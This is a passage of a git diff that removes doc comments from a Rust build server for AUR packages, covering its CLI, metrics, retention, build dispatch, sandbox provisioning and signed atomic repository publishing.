#[derive(Parser)] #[command(name = "aur-build", version, about = "AUR build server: nothing is published that a human did not approve")] struct Cli { - /// Server root (holds config.json, db, mirrors, repo). #[arg(short, long, env = "AUR_BUILD_ROOT", global = true)] root: Option, #[command(subcommand)] @@ -19,101 +18,68 @@ struct Cli { #[derive(Subcommand)] enum Cmd { - /// Create the root, config and database. Init { #[arg(long)] repo: Option, #[arg(long)] signing_key: Option, }, - /// Start watching a pkgbase. Subscribe { pkgbase: String, - /// Override the AUR URL; a `file://` path is fine, which is how the - /// test suite drives the real binary. #[arg(long)] url: Option, }, - /// Stop watching a pkgbase. Unsubscribe { pkgbase: String }, - /// Poll AUR now (without this, detection runs on the watcher's schedule). Detect { pkgbase: Option }, - /// List reviews. Reviews { #[arg(long)] all: bool, }, - /// Show one review: the diff panels and the two hashes an approval must echo. Show { candidate: i64 }, - /// Approve a review. Without --yes this only prints what would be approved. Approve { candidate: i64, #[arg(long)] yes: bool, #[arg(long)] note: Option, - /// Approve against hashes you were shown earlier instead of re-rendering. #[arg(long)] identity: Option, #[arg(long)] diff: Option, }, - /// Reject a review with a reason. Reject { candidate: i64, #[arg(long)] note: String, }, - /// Queue a build for a pending review. Build { candidate: i64 }, - /// Queue a rebuild of the currently accepted version (no new approval, I6). Rebuild { pkgbase: String }, - /// Run a queued build to completion in this process. Run { build: String }, - /// List builds. Builds, - /// Show a build's step timeline. Status { build: String }, - /// Show the current index. Packages, - /// Run the web server and the watcher until interrupted. Serve { - /// Override the bind address, e.g. 127.0.0.1:8484. #[arg(long)] bind: Option, }, - /// Show recent audit rows. Audit { #[arg(long, default_value_t = 30)] limit: i64, }, - /// Print metrics in Prometheus text format (the same numbers /metrics serves). Metrics, - /// Drop the files of releases beyond the retention window, and sweep - /// abandoned staging directories. Rows are never deleted (§15). Gc { - /// Versions per pkgbase whose files are kept. Defaults to the - /// `retention_versions` setting. #[arg(long)] keep: Option, - /// Show what would be removed without removing it. #[arg(long)] dry_run: bool, }, - /// Write a consistent snapshot of the database with `VACUUM INTO`. Backup { - /// Destination file. It must not already exist: a backup that silently - /// overwrites last week's backup is not a backup. to: PathBuf, }, } fn main() -> anyhow::Result<()> { let cli = Cli::parse(); - // `init` is the only command that runs before a config exists. For everything - // else a missing config is an error, not a reason to invent one: the old - // unconditional fallback turned a typo'd `--root` into a fresh empty server - // at the wrong path. let root = cli.root.clone().unwrap_or_else(|| Config::default().root); let cfg = if matches!(cli.cmd, Cmd::Init { .. }) { Config::load(&root).unwrap_or_else(|_| Config { @@ -123,8 +89,6 @@ fn main() -> anyhow::Result<()> { } else { Config::load(&root)? }; - // Startup, not first-build: a configuration that cannot work is refused - // before the watcher, the dispatcher or the UI are up and looking healthy. cfg.validate()?; if let Cmd::Serve { bind } = &cli.cmd { let mut cfg = cfg; @@ -141,25 +105,18 @@ fn main() -> anyhow::Result<()> { &cfg.arch, &cfg.signing_key_id, )?; - // Re-materialize the served index from the DB: if a crash left the file - // behind the database, close the gap before anyone asks for it. let _ = pipeline::publish::reconcile(&cfg, &db); let stop = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false)); aur_build::watch::scheduler::spawn_scheduler(std::sync::Arc::new(cfg.clone()), db.clone(), stop.clone()); let _server = aur_build::http::spawn(cfg.clone(), db.clone())?; - // The dispatcher reaps expired leases before its first claim, so a restart - // recovers whatever a crash left leased (§8.2). let _pool = aur_build::pipeline::dispatch::Pool::spawn(std::sync::Arc::new(cfg.clone()), db.clone()); println!("serving on http://{} — ctrl-c to stop", cfg.bind); - // Single process, thread per connection: the main thread has nothing to - // do but wait to be killed. loop { std::thread::sleep(std::time::Duration::from_secs(3600)); } } let ctx = Ctx::open(&cfg)?; match cli.cmd { - // Handled above, before the CLI's own database context is opened. Cmd::Serve { .. } => Ok(()), Cmd::Init { repo, signing_key } => { let mut cfg = cfg; @@ -249,8 +206,6 @@ fn main() -> anyhow::Result<()> { } Cmd::Approve { candidate, yes, note, identity, diff: diff_arg } => { let c = need_candidate(&ctx.db, candidate)?; - // Render first, always: the hashes we send are the hashes of what we - // just rendered, unless the operator explicitly names older ones. let (text, digest) = diff::render_current(&ctx.db, &cfg, &c)?; candidates::set_diff_digest(&ctx.db, c.id, &digest)?; let identity = identity.unwrap_or_else(|| c.identity_hash.clone()); diff --git a/src/ops.rs b/src/ops.rs index 612db78..a40a326 100644 --- a/src/ops.rs +++ b/src/ops.rs @@ -5,7 +5,6 @@ use crate::db::{self, Db}; use crate::error::Result; use crate::time; -/// Default number of versions kept per pkgbase (§11 `retention_versions`). pub const DEFAULT_KEEP: usize = 3; #[derive(Debug, Default, Clone)] @@ -17,17 +16,12 @@ pub struct RetentionReport { pub staging_swept: usize, } -/// Everything a metrics scrape reports, computed in one pass over the database. -/// -/// Kept as a struct rather than a string builder so the HTTP handler, the CLI and -/// the tests read the same numbers from the same source. #[derive(Debug, Default, Clone)] pub struct Metrics { pub builds: Vec<(String, i64)>, pub queue_depth: i64, pub oldest_queued_age_secs: i64, pub pending_review: i64, - /// Age of pending candidates in seconds, already sorted, for bucketing. pub review_ages: Vec, pub succeeded: i64, pub failed: i64, @@ -49,9 +43,6 @@ pub struct Metrics { } impl Metrics { - /// Share of recorded builds that published. Reported as 1.0 when nothing has - /// run yet: an alert rule reading 0% success on an empty system pages someone - /// for no reason. pub fn build_success_rate(&self) -> f64 { match self.succeeded + self.failed { 0 => 1.0, @@ -59,9 +50,6 @@ impl Metrics { } } - /// Render in Prometheus text exposition format. Every family is declared with - /// `# HELP` and `# TYPE`, because a scrape that fails validation drops the - /// whole payload. pub fn to_prometheus(&self) -> String { let mut o = String::new(); @@ -79,7 +67,6 @@ impl Metrics { o.push_str(&header("aurbuild_pending_review_candidates", "Reviews waiting on a human — the review debt.")); o.push_str(&format!("aurbuild_pending_review_candidates {}\n", self.pending_review)); - // Not how many reviews are pending, but how stale the pending ones are. o.push_str("# HELP aurbuild_pending_review_age_seconds Histogram of how long pending reviews have waited.\n# TYPE aurbuild_pending_review_age_seconds histogram\n"); for le in [3600i64, 21600, 86400, 259200, 604800] { let n = self.review_ages.iter().filter(|a| **a <= le).count(); @@ -152,7 +139,6 @@ impl Metrics { } } -/// Compute every metric from live state. pub fn metrics(cfg: &Config, db: &Db) -> Result { let mut m = Metrics::default(); let now = time::now(); @@ -195,7 +181,6 @@ pub fn metrics(cfg: &Config, db: &Db) -> Result { Ok(m) } -/// A Prometheus family header. fn header(name: &str, help: &str) -> String { format!("# HELP {name} {help}\n# TYPE {name} gauge\n") } @@ -204,7 +189,6 @@ fn file_len(p: &Path) -> u64 { std::fs::metadata(p).map(|m| m.len()).unwrap_or(0) } -/// `(dir count, total bytes)` under a directory, tolerating concurrent removal. fn staging_usage(root: &Path) -> (usize, u64) { let mut dirs = 0; let mut bytes = 0; @@ -232,9 +216,6 @@ fn dir_bytes(path: &Path) -> u64 { total } -/// Which releases of a pkgbase keep their files, and which lose them. -/// -/// The rule is "newest N, plus anything that would be a lie to evict". pub fn plan_retention(db: &Db, keep: usize) -> Result<(Vec, Vec)> { let keep = keep.max(1); let pkgbases = db::pkgbase_release_pointers(db)?; @@ -243,7 +224,6 @@ pub fn plan_retention(db: &Db, keep: usize) -> Result<(Vec, Vec) let mut evict = Vec::new(); for (pb_id, accepted) in pkgbases { let releases = db::published_release_ids(db, pb_id)?; - // Still in the index? Then it is being served, whatever its age. let serving = db::serving_release_ids(db, pb_id)?; let mut keep_set: std::collections::BTreeSet = serving.iter().cloned().collect(); @@ -269,16 +249,10 @@ pub struct EvictPlan { pub release_id: i64, } -/// Run retention: evict files for releases beyond the keep window, then sweep -/// abandoned staging directories. -/// -/// Files are only removed when no *retained* release still references them: the store -/// is content-addressed. pub fn retention(cfg: &Config, db: &Db, keep: Option) -> Result { let keep = keep.unwrap_or_else(|| db::setting_i64(db, "retention_versions", DEFAULT_KEEP as i64) as usize); let (kept, evict) = plan_retention(db, keep)?; - // Everything still held by a kept release, so we do not evict a shared file. let mut retained_files: std::collections::BTreeSet = std::collections::BTreeSet::new(); for id in &kept { for f in release_files(cfg, db, *id)? { @@ -297,7 +271,6 @@ pub fn retention(cfg: &Config, db: &Db, keep: Option) -> Result) -> Result Result> { let mut out = Vec::new(); for (path, sig, log) in db::release_artifact_paths(db, release_id)? { @@ -350,8 +316,6 @@ pub fn release_files(cfg: &Config, db: &Db, release_id: i64) -> Result Result Result<(usize, u64)> { let root = cfg.staging_dir(); let Ok(entries) = std::fs::read_dir(&root) else { return Ok((0, 0)) }; @@ -385,8 +345,6 @@ pub fn sweep_staging(cfg: &Config, db: &Db, grace_secs: i64) -> Result<(usize, u }; let state = db::builds::get(db, &build_id)?.map(|b| b.state); let abandonable = match &state { - // No build row: staging left over from a crash before the row was - // written. None => true, Some(s) => matches!(s.as_str(), "succeeded" | "failed" | "cancelled"), }; @@ -426,11 +384,6 @@ fn record_run(db: &Db, r: &RetentionReport) -> Result<()> { ) } -/// A consistent snapshot of the database, written to `dest`. -/// -/// `VACUUM INTO` runs on the writer connection so the snapshot cannot interleave with -/// a write, and produces a compacted single file with no WAL. A `cp` of a live WAL -/// database gives a main file and a sidecar log that may not belong to it. pub fn backup(db: &Db, dest: &Path) -> Result { let dest = dest.to_path_buf(); if dest.exists() { @@ -445,8 +398,6 @@ pub fn backup(db: &Db, dest: &Path) -> Result { } } db::backup_to(&db.writer, &dest)?; - // The snapshot must be readable on its own: if it does not open and report - // the same schema version, the backup is a file, not a backup. let version = db::schema_version(&dest) .map_err(|e| crate::error::Error::db(format!("backup unreadable: {e}")))?; if version <= 0 { diff --git a/src/pipeline/dispatch.rs b/src/pipeline/dispatch.rs index d9891c2..88f300e 100644 --- a/src/pipeline/dispatch.rs +++ b/src/pipeline/dispatch.rs @@ -8,21 +8,15 @@ use crate::config::Config; use crate::db::{self, builds, Db}; use crate::pipeline::{self, Outcome}; -/// Handle on a running pool. Dropping without `shutdown` leaves the threads -/// running; call `shutdown` to join them cleanly. pub struct Pool { stop: Arc, handles: Vec>, } impl Pool { - /// Start the dispatcher and `max_concurrent_builds` workers. pub fn spawn(cfg: Arc, db: Db) -> Pool { let stop = Arc::new(AtomicBool::new(false)); let workers = cfg.max_concurrent_builds.max(1); - // Bounded at the worker count: the dispatcher must not run ahead and - // lease builds that no worker has picked up yet, because a leased build - // whose worker never starts would sit until its lease expires. let (tx, rx) = bounded::(workers); let mut handles = Vec::new(); @@ -53,9 +47,6 @@ impl Pool { Pool { stop, handles } } - /// Ask the threads to stop and wait for them. A build that is mid-step will - /// finish that step, fail its lease, and be requeued by the next process's - /// reaper — which is the designed behaviour, not a bug to wait out. pub fn shutdown(self) { self.stop.store(true, Ordering::SeqCst); for h in self.handles { @@ -65,8 +56,6 @@ impl Pool { } fn dispatcher(cfg: Arc, db: Db, stop: Arc, tx: Sender) { - // The reaper runs first on every loop, including the first, so "recover from - // a crash" and "notice an expired lease" are the same code path. while !stop.load(Ordering::SeqCst) { dispatch_once(&cfg, &db, &tx); let mut slept = 0u64; @@ -77,8 +66,6 @@ fn dispatcher(cfg: Arc, db: Db, stop: Arc, tx: Sender) -> Vec { let reaped = builds::reap_expired(db).unwrap_or(0); if reaped > 0 { @@ -91,7 +78,6 @@ pub fn dispatch_once(cfg: &Config, db: &Db, tx: &Sender) -> Vec ) .ok(); } - // Blocked builds become eligible again when the blocking package arrives. let _ = builds::requeue_blocked(db); let _ = builds::cancel_superseded(db); @@ -103,17 +89,12 @@ pub fn dispatch_once(cfg: &Config, db: &Db, tx: &Sender) -> Vec let ids = builds::claim_batch(db, &owner, room, cfg.lease_secs).unwrap_or_default(); for id in &ids { if tx.send(id.clone()).is_err() { - // No worker to take it: give the lease back rather than let it - // expire with nobody holding it. let _ = builds::requeue_transient(db, id); } } ids } -/// How many builds may be admitted right now (§8.2 backpressure). A build that -/// cannot fit on disk stays queued rather than filling the filesystem halfway -/// through a compile. pub fn admissible(cfg: &Config, db: &Db) -> usize { let in_flight = builds::in_flight(db).unwrap_or(0) as usize; let slots = cfg.max_concurrent_builds.saturating_sub(in_flight); @@ -127,7 +108,6 @@ pub fn admissible(cfg: &Config, db: &Db) -> usize { slots } -/// Megabytes free on the filesystem holding `path`. pub fn free_disk_mb(path: &std::path::Path) -> u64 { use std::ffi::CString; let c = match CString::new(path.as_os_str().to_string_lossy().as_bytes()) { @@ -137,8 +117,6 @@ pub fn free_disk_mb(path: &std::path::Path) -> u64 { let mut stat: libc::statvfs = unsafe { std::mem::zeroed() }; let rc = unsafe { libc::statvfs(c.as_ptr(), &mut stat) }; if rc != 0 { - // If we cannot find out, do not block the queue over a measurement - // problem; the pipeline's own disk guard is the backstop. return u64::MAX; } let bsize = stat.f_frsize as u64; @@ -155,9 +133,6 @@ fn worker(cfg: Arc, db: Db, rx: crossbeam_channel::Receiver, sto let attempt = builds::get(&db, &id).ok().flatten().map(|b| b.attempt).unwrap_or(1); match pipeline::run(&cfg, &db, &id) { Ok(Outcome::Failed { transient, .. }) => { - // §8.4: transient failures retry with a bounded number of - // attempts; a deterministic failure does not, because it would - // produce the same answer. if transient && attempt < cfg.max_transient_attempts { let _ = builds::requeue_transient(&db, &id); db::audit_system( diff --git a/src/pipeline/mod.rs b/src/pipeline/mod.rs index 308f2a8..9e3c12a 100644 --- a/src/pipeline/mod.rs +++ b/src/pipeline/mod.rs @@ -13,11 +13,6 @@ use crate::db::SnapshotRow; use crate::error::{Error, Result}; use crate::sandbox::{Sandbox, SandboxBackend}; -/// The approved source identity a build must reproduce. -/// -/// For a new version it comes from the candidate; for a manual rebuild it comes -/// from the accepted release, which is what makes I6 true: a rebuild reuses the -/// approved source identity and never needs a new approval. #[derive(Debug, Clone)] pub struct SourceIdentity { pub aur_commit: String, @@ -30,10 +25,6 @@ pub struct SourceIdentity { } impl SourceIdentity { - /// The identity of a build's source, complete on construction (n-1). The - /// snapshot is an argument because an `aur_commit` that could mean either - /// "not filled in yet" or "genuinely unknown" records empty provenance - /// silently. pub fn from_candidate(c: &CandidateRow, snapshot: &SnapshotRow) -> Self { Self { aur_commit: snapshot.aur_commit.clone(), @@ -61,13 +52,11 @@ impl SourceIdentity { } } -/// One package produced by the build, as recorded by `collect` and `ingest`. #[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] pub struct CollectedPkg { pub name: String, pub version: String, pub arch: String, - /// Where the artifact lives: staging until `ingest`, the store afterwards. pub path: String, pub digest: String, pub size: u64, @@ -76,7 +65,6 @@ pub struct CollectedPkg { pub makedepends: Vec, pub provides: Vec, pub conflicts: Vec, - /// The full installed set from `.BUILDINFO`, unfiltered (§10.1). pub installed: Vec<(String, String)>, } @@ -98,7 +86,6 @@ impl Collect { } } -/// Everything a step needs. Built once per build run, cheap to clone handles. pub struct Ctx { pub cfg: Config, pub db: Db, @@ -111,8 +98,6 @@ pub struct Ctx { pub log: PathBuf, pub profile: String, pub attempt: i64, - /// Where build code runs. Defaults to the loopback backend (§8, sandbox - /// seam); the pipeline itself never spawns a build subprocess directly. pub backend: Arc, } @@ -126,9 +111,6 @@ impl Ctx { Some(cid) => { let c = crate::review::candidates::candidate_by_id(db, cid)? .ok_or_else(|| Error::not_found("candidate for build"))?; - // A candidate without its snapshot is a broken row, not a - // candidate with less provenance: say so rather than build - // against an empty commit and hash. let snap = db::snapshot_by_id(db, c.snapshot_id)? .ok_or_else(|| Error::not_found("snapshot for candidate"))?; SourceIdentity::from_candidate(&c, &snap) @@ -163,9 +145,6 @@ impl Ctx { }) } - /// Lease a sandbox for this build's profile. The TTL is the lease window: a - /// sandbox that outlives it is assumed dead, which is what the reaper already - /// concludes about an expired build lease. pub fn sandbox(&self) -> Result> { let spec = crate::sandbox::SandboxSpec { profile: self.profile.clone(), @@ -176,7 +155,6 @@ impl Ctx { self.backend.acquire(&spec) } - /// Append to the build log; the SSE tail reads this file (§12). pub fn log_line(&self, line: &str) { use std::io::Write; if let Some(parent) = self.log.parent() { @@ -188,7 +166,6 @@ impl Ctx { } } -/// What a full run produced. #[derive(Debug, Clone, PartialEq, Eq)] pub enum Outcome { Succeeded { release_id: i64 }, @@ -197,7 +174,6 @@ pub enum Outcome { Cancelled, } -/// Run a build to completion, resuming at the first incomplete step (I5). pub fn run(cfg: &Config, db: &Db, build_id: &str) -> Result { let ctx = Ctx::new(cfg, db, build_id)?; db::audit_system( @@ -219,7 +195,7 @@ pub fn run_with(ctx: &Ctx) -> Result { } let status = builds::step_status(&ctx.db, &ctx.build.id, step)?; if status.is_some_and(|s| s.is_done()) { - continue; // checkpoint says we already did this + continue; } builds::begin_step(&ctx.db, &ctx.build.id, step, ctx.attempt)?; builds::set_state(&ctx.db, &ctx.build.id, BuildState::Running, None)?; @@ -249,10 +225,6 @@ pub fn run_with(ctx: &Ctx) -> Result { Some(&format!("{step}: {e}")), )?; ctx.log_line(&format!("!! {step} failed: {e}")); - // A failed build must not leave the old version looking healthy. - // Nothing has to do that: the accepted pointer was never moved, - // so the derived query reads it back (§8.4). There is - // deliberately no state to set here. return Ok(Outcome::Failed { step: step.to_string(), error: e.to_string(), transient }); } } @@ -277,8 +249,6 @@ impl Ctx { } } -/// Enqueue the build an approval implies. Deterministic id, so calling this -/// twice is a no-op (§8.2). pub fn enqueue_for_candidate(cfg: &Config, db: &Db, c: &CandidateRow) -> Result { let pb = db::get_pkgbase_by_id(db, c.pkgbase_id)? .ok_or_else(|| Error::not_found("pkgbase"))?; @@ -290,18 +260,11 @@ pub fn enqueue_for_candidate(cfg: &Config, db: &Db, c: &CandidateRow) -> Result< Ok(id) } -/// Manual rebuild of the current accepted version (I6): same source identity, -/// no new approval, same version. pub fn enqueue_manual_rebuild(cfg: &Config, db: &Db, pkgbase: &str) -> Result { let pb = db::get_pkgbase(db, pkgbase)? .ok_or_else(|| Error::not_found(format!("pkgbase {pkgbase}")))?; let rel = db::accepted_release(db, pkgbase)? .ok_or_else(|| Error::invalid(format!("{pkgbase} has no accepted release")))?; - // A manual rebuild is the accepted release asked for again, so its identity - // is derived from what that release actually is, through the same - // canonical-JSON hash every other identity uses (n-5). `requested` is what - // keeps a rebuild a *distinct* build while staying deterministic (§8.2): - // clicking rebuild twice is one build, not two. let identity = format!( "sha256:{}", crate::hash::hex(crate::hash::canonical_json(&serde_json::json!({ @@ -323,10 +286,8 @@ pub fn enqueue_manual_rebuild(cfg: &Config, db: &Db, pkgbase: &str) -> Result), Skipped(String), - /// A dependency we publish is not in the index yet (§10.4). Blocked(Vec), } diff --git a/src/pipeline/publish.rs b/src/pipeline/publish.rs index 7340e53..dc9f918 100644 --- a/src/pipeline/publish.rs +++ b/src/pipeline/publish.rs @@ -9,15 +9,6 @@ use crate::error::{Error, Result}; use crate::pipeline::{Collect, Ctx}; use crate::time; -/// One writer to the served repo at a time — *the* serialization guarantee for -/// the index (§8.2, §9, I4). A publish renders a new database in scratch space, -/// commits the DB, then renames over the live one; a second writer interleaving -/// anywhere in that sequence produces an index matching neither DB state. Held by -/// [`publish`] and [`withdraw_package`] for the whole sequence; [`reconcile`] skips -/// it because it runs before the dispatcher exists. -/// -/// A panic while holding it is recovered rather than propagated: atomic publish -/// means a poisoned lock cannot have left a half-written database. static REPO_LOCK: Mutex<()> = Mutex::new(()); fn lock_repo() -> std::sync::MutexGuard<'static, ()> { @@ -27,7 +18,6 @@ fn lock_repo() -> std::sync::MutexGuard<'static, ()> { } } -/// The world a build is admitted against: every pkgbase's accepted version. pub fn index_world(db: &Db) -> Result> { let rels = db::all_published_releases(db)?; let mut out = Vec::new(); @@ -40,8 +30,6 @@ pub fn index_world(db: &Db) -> Result> { Ok(out) } -/// Package files that belong in the served index right now, plus the extra ones -/// being published (not in the DB yet when the new index is rendered). fn index_artifacts(db: &Db, extra: &[PathBuf]) -> Result> { let mut out: Vec = Vec::new(); for p in db::index_packages(db)? { @@ -55,9 +43,6 @@ fn index_artifacts(db: &Db, extra: &[PathBuf]) -> Result> { Ok(out) } -/// Publish the collected artifacts of a build. Returns the new release id. -/// -/// Serialized against every other writer of the index by [`REPO_LOCK`]. pub fn publish(ctx: &Ctx) -> Result { let _guard = lock_repo(); let collect = Collect::load(&ctx.collect_path)?; @@ -68,13 +53,8 @@ pub fn publish(ctx: &Ctx) -> Result { let arch_dir = ctx.cfg.repo_arch_dir(); std::fs::create_dir_all(&arch_dir)?; - // Artifacts are copied into the served tree under their real filenames. let mut staged: Vec<(PathBuf, PathBuf)> = Vec::new(); - // Set once the render starts, so the failure path can sweep the scratch - // directory even if the publish died after repo-add returned. let mut scratch_dir: Option = None; - // Files this publish created that were not there before: if the publish does - // not land they are orphans no index names (§6 m-16). let mut fresh: Vec = Vec::new(); for p in &collect.packages { let from = PathBuf::from(&p.path); @@ -106,7 +86,6 @@ pub fn publish(ctx: &Ctx) -> Result { pkgs = dedupe_by_name(pkgs); let rendered = render_db(&ctx.cfg, &arch_dir, "publish", &pkgs, &mut scratch_dir)?; - // Fault injection so I4 can be tested for real (§6 M-9). #[cfg(feature = "test-support")] if ctx.cfg.hooks.publish_fault.as_deref() == Some("before-rename") { return Err(Error::other("injected fault: before-rename")); @@ -141,8 +120,6 @@ pub fn publish(ctx: &Ctx) -> Result { })(); if outcome.is_err() { - // Nothing in the served tree may look like a publish that did not land - // (m-16); files already there belong to the release still served. for p in &fresh { let _ = std::fs::remove_file(p); } @@ -158,7 +135,6 @@ fn repo_for(db: &Db) -> Result { Ok(id.to_string()) } -/// Insert the release and its package rows, and move the accepted pointer. fn commit_release(ctx: &Ctx, collect: &Collect) -> Result { let at = time::now(); let pkgbase_id = ctx.pb.id; @@ -167,8 +143,6 @@ fn commit_release(ctx: &Ctx, collect: &Collect) -> Result { Some(cid) => crate::review::approve::approval_for(&ctx.db, cid)?.map(|(id, _)| id), None => None, }; - // I1: nothing publishes without an approval. A manual rebuild inherits the - // approval of the release it rebuilds. let inherited = match ctx.build.kind.as_str() { "manual_rebuild" => ctx .build @@ -193,8 +167,6 @@ fn commit_release(ctx: &Ctx, collect: &Collect) -> Result { .flatten() .and_then(|b| b.world_snapshot_id); let repo_id = db::repo_id(&ctx.db)?; - // The compare-and-swap baseline is the release the *approval* was taken - // against, not whatever the pointer says now. let expected_base: Option = match ctx.build.kind.as_str() { "manual_rebuild" => ctx.build.release_id, _ => ctx @@ -205,15 +177,12 @@ fn commit_release(ctx: &Ctx, collect: &Collect) -> Result { }; ctx.db.writer.tx(move |tx| { - // Compare-and-swap inside the write transaction (I4). let actual_base = db::accepted_pointer_in(tx, pkgbase_id)?; if actual_base != expected_base { return Err(Error::conflict( "accepted pointer moved while this build was running; refusing to publish", )); } - // The index holds exactly the accepted pointer, so what it held for these - // names goes before the new rows go in. db::remove_index_packages_in(tx, &names)?; let release_id = db::insert_release_in( tx, @@ -249,8 +218,6 @@ fn commit_release(ctx: &Ctx, collect: &Collect) -> Result { }) } -/// Remove scratch directories a crash left behind: the leading dot means nothing -/// a consumer asks for, and only a render creates one. pub fn sweep_render_dirs(arch_dir: &Path) { let Ok(entries) = std::fs::read_dir(arch_dir) else { return; @@ -262,7 +229,6 @@ pub fn sweep_render_dirs(arch_dir: &Path) { } } -/// A database repo-add has rendered, and the scratch directory it rendered into. struct Rendered { db: PathBuf, dir: PathBuf, @@ -270,8 +236,6 @@ struct Rendered { } impl Rendered { - /// The publish point: rename over the live database, fsync the directory - /// entry, then drop the scratch directory. fn swap_into(self, final_db: &Path) -> Result<()> { std::fs::rename(&self.db, final_db)?; fsync_dir(&self.arch_dir)?; @@ -280,15 +244,6 @@ impl Rendered { } } -/// Render a fresh database with repo-add, ready to be renamed into place. -/// -/// repo-add refuses any database argument that is not a name pacman itself would -/// accept, so the render happens in a scratch directory *under* the served -/// directory, under the exact name a consumer will download. Same filesystem, so -/// the caller's `rename` is still the atomic swap I4 requires. -/// -/// `scratch` is filled in as soon as the directory exists, so the caller can sweep -/// it even if this function is never reached again. fn render_db( cfg: &Config, arch_dir: &Path, @@ -316,8 +271,6 @@ fn render_db( Ok(rendered) } -/// `repo-add -R `, deliberately *not* `-s`: repo-add would sign into -/// scratch space that gets deleted. The hub signs the live file itself in [`sign`]. fn run_repo_add(cfg: &Config, db_path: &Path, pkgs: &[PathBuf]) -> Result<()> { let mut cmd = Command::new(&cfg.repo_add_bin); cmd.arg("-R"); @@ -344,8 +297,6 @@ fn sign(cfg: &Config, path: &Path) -> Result<()> { sign_to(cfg, path, Path::new(&sig)) } -/// `gpg --detach-sign` over `path`, written to `sig_out` atomically. The key never -/// leaves the hub — a build sandbox signs nothing (§8). pub(crate) fn sign_to(cfg: &Config, path: &Path, sig_out: &Path) -> Result<()> { if cfg.signing_key_id.is_empty() { return Ok(()); @@ -368,8 +319,6 @@ pub(crate) fn sign_to(cfg: &Config, path: &Path, sig_out: &Path) -> Result<()> { Ok(()) } -/// fsync, and *say so* when it fails (m-7). Swallowing the error would make the -/// write-scratch-fsync-rename promise a comment rather than a guarantee. fn fsync_file(p: &Path) -> Result<()> { let f = std::fs::File::open(p) .map_err(|e| Error::other(format!("open {} for fsync: {e}", p.display())))?; @@ -386,9 +335,6 @@ fn fsync_dir(p: &Path) -> Result<()> { Ok(()) } - -/// Keep one entry per package name; the newest file wins. The name comes from -/// `.PKGINFO`, not the filename, because package names contain dashes. fn dedupe_by_name(paths: Vec) -> Vec { let mut seen: BTreeSet = BTreeSet::new(); let mut out: Vec = Vec::new(); @@ -406,10 +352,6 @@ fn dedupe_by_name(paths: Vec) -> Vec { out } -/// The package name a built artifact declares, read from its own `.PKGINFO`. -/// -/// The name that goes into the index must come from the same read of the bytes the -/// pipeline signs, so this uses the real parser (§6 M-4). fn package_name(path: &Path) -> Option { let bytes = std::fs::read(path).ok()?; let info = crate::pkginfo::pkginfo_text(&bytes).ok()?; @@ -421,8 +363,6 @@ fn package_name(path: &Path) -> Option { } } -/// Re-materialize the served index from the DB. Run at startup: if a crash left -/// the DB ahead of the file, this closes the gap without inventing anything. pub fn reconcile(cfg: &Config, db: &Db) -> Result { let pkgs = db::index_packages(db)?; let mut files = Vec::new(); @@ -450,7 +390,6 @@ pub fn reconcile(cfg: &Config, db: &Db) -> Result { Ok(files.len()) } -/// Remove a package from the served index (§9 withdrawal path). pub fn withdraw_package(cfg: &Config, db: &Db, name: &str) -> Result<()> { let _guard = lock_repo(); let rid = db::repo_id(db)?; diff --git a/src/pipeline/steps.rs b/src/pipeline/steps.rs index c19ac6b..061593b 100644 --- a/src/pipeline/steps.rs +++ b/src/pipeline/steps.rs @@ -23,9 +23,6 @@ pub fn run_step(ctx: &Ctx, step: &str) -> Result { } } -/// Step 0 — materialize from the local mirror only, never the network, and -/// re-hash what we got. This is the `aur_commit` pin doing its job: there is no -/// path from "AUR moved since the review" to "we built it anyway". fn materialize(ctx: &Ctx) -> Result { let mirror = ctx .pb @@ -62,14 +59,10 @@ fn materialize(ctx: &Ctx) -> Result { Ok(StepResult::Done(Some(computed))) } -/// A display-safe prefix; hashes are 64 hex chars but world digests can be tiny. fn short(s: &str) -> String { s.chars().take(12).collect() } -/// Step 1 — resolve dependencies against the current accepted index and compute -/// the intended world. Unresolvable means "a pkgbase we subscribe to that we have -/// not published yet": block and wait, do not fail (§10.4). fn plan(ctx: &Ctx) -> Result { let recipe = recipe_at(&ctx.srcdir)?; let mut wanted: Vec = Vec::new(); @@ -84,9 +77,8 @@ fn plan(ctx: &Ctx) -> Result { let mut official = 0; for dep in &wanted { if ours.contains(dep) || ctx.pb.name == *dep || recipe.pkgnames.contains(dep) { - continue; // satisfied by our own index, or by this very build + continue; } - // Anything else is only a problem if we are supposed to be publishing it. if db::get_subscription(&ctx.db, dep)?.is_some() || db::get_pkgbase(&ctx.db, dep)?.is_some() { missing.push(dep.clone()); } else { @@ -108,16 +100,6 @@ fn plan(ctx: &Ctx) -> Result { Ok(StepResult::Done(Some(hash))) } -/// Step 2 — provision the sandbox with the pinned lease set. -/// -/// The devtools chroot is gone: the sandbox boots from a base that already carries -/// the official packages, and everything *we* publish arrives as blobs installed -/// with `pacman -U`. The step id stays `chroot` so existing checkpoint rows are -/// not stranded. -/// -/// Nothing is resolved at build time: the lease manifest is the plan, every blob -/// is re-hashed before it is staged, and the sandbox's own `pacman -Q` must confirm -/// the pinned world landed. fn provision(ctx: &Ctx) -> Result { let lease = lease_manifest(ctx)?; if lease.is_empty() { @@ -129,8 +111,6 @@ fn provision(ctx: &Ctx) -> Result { }; for e in &lease { let path = ctx.cfg.store_path(&e.digest); - // The hub hashes what it sends: store corruption is caught here, not - // discovered by a confused package manager inside the sandbox. let (digest, _) = crate::hash::digest_file(&path)?; if digest != e.digest { return Err(Error::fail_closed(format!( @@ -145,15 +125,12 @@ fn provision(ctx: &Ctx) -> Result { argv.extend(lease.iter().map(|e| format!("blob:{}", e.digest))); let out = sbx.run(&Cmd::new(argv), &mut |_| {})?; if !out.success() { - // A refused `-U` is almost always an incomplete closure — "the sandbox lied - // about its world", not "the sandbox broke". return Err(Error::world_mismatch(format!( "{} -U refused the lease set: {}", ctx.cfg.pacman_bin, tail(&out.stderr) ))); } - // Fail-closed world check: the world we approved is the world we build in. let q = sbx.run(&Cmd::new(vec![ctx.cfg.pacman_bin.clone(), "-Q".into()]), &mut |_| {})?; if !q.success() { return Err(Error::fail_closed(format!( @@ -187,8 +164,6 @@ fn provision(ctx: &Ctx) -> Result { Ok(StepResult::Done(Some(crate::hash::canonical_json(&world)?))) } -/// Lease a sandbox for a step, or report that the pool cannot fit one. A full -/// pool blocks the build rather than failing it (§10.4). fn sandbox_or_wait( ctx: &Ctx, ) -> Result>> { @@ -202,7 +177,6 @@ fn sandbox_or_wait( } } -/// One pinned entry of the lease manifest. #[derive(Debug, Clone)] struct LeasePkg { name: String, @@ -210,10 +184,6 @@ struct LeasePkg 